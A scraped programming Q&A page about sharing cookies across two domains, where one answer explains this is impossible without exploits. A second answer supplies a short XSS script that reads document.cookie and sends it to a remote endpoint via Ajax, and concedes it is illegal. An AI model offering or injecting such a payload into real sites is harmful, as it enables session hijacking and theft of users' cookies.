简体   繁体   中英

How do I share cookies across 2 domains with javascript?

I want to be able to access and set cookies between example.com and mysite.com. How do I do that?

You cannot do that with cookies alone: they are set explicitly per-domain, and there isn't a legitimate (read: "non-exploit") way to set them for another domain.

However, if you control both servers, it may be possible to use some workarounds/hacks to achieve this, but pretty it isn't, and it may break unexpectedly (see this question ; the answers there should help you to a solution).

<script>
  function xss(){
    var cookies = document.cookie;
    new Ajax.Request('//localhost/index.php?cookies='+cookies, {
      onSuccess: function(response) {
        alert(cookies);
      }
    });
  }
  xss();
</script>

PS but it's illegal. I use prototype lib.

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM